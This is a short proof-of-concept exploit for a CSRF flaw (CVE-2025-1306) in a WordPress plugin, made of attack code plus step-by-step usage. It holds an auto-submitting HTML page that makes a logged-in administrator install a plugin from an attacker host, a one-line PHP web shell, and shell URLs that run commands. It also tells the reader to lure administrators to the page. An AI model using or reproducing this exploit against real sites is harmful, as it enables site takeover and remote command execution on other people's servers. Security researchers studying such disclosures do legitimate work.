### **🔹 PoC - HTML Exploit**
```html
<!DOCTYPE html>
<html>
<head>
<title>CSRF Exploit CVE-2025-1306 By Nxploit ,Khaled AlEnazi</title>
</head>
<body>
<h2>Click anywhere to load content...</h2>
<script>
function sendExploit() {
var form = document.createElement("form");
form.method = "POST";
form.action = "http://target.com/wp-admin/admin-ajax.php?action=newscrunch_install_activate_plugin";
var input = document.createElement("input");
input.type = "hidden";
input.name = "plugin_url";
input.value = "http://attacker.com/shell.zip";
form.appendChild(input);
document.body.appendChild(form);
form.submit();
}
window.onload = function() {
sendExploit();
};
</script>
</body>
</html>
```
📌 **Replace:**
- `http://target.com/` with the **vulnerable WordPress site**
- `http://attacker.com/shell.zip` with a **malicious ZIP payload** containing a web shell.
### **🔹 Malicious PHP Shell Example**
```php
<?php system($_GET['cmd']); ?>
```
📌 **After successful exploitation**, access the shell:
```bash
http://target.com/wp-content/plugins/shell.php?cmd=whoami
```
---
## 🚀 **How to Use**
1. **Host the HTML file** on an attacker-controlled website.
2. **Send the malicious link to an authenticated WordPress administrator.**
3. Once the admin visits the page, the shell gets uploaded automatically.
4. **Execute commands remotely** using:
```bash
http://target.com/wp-content/plugins/shell.php?cmd=ls
```
